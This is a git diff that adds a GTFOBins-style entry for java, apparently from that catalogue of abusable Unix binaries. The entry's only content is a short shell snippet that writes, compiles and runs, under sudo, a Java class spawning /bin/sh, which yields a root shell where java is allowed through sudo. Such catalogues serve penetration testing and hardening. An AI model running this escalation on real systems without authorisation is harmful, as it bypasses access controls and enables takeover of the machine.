diff --git a/_gtfobins/java.md b/_gtfobins/java.md new file mode 100644 index 0000000..3bade38 --- /dev/null +++ b/_gtfobins/java.md @@ -0,0 +1,10 @@ +--- +functions: + sudo: + - code: | + TD=$(mktemp -d) + SOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } }' + echo "$SOURCE" > $TD/Exec.java + javac $TD/Exec.java + sudo java -cp $TD Exec +---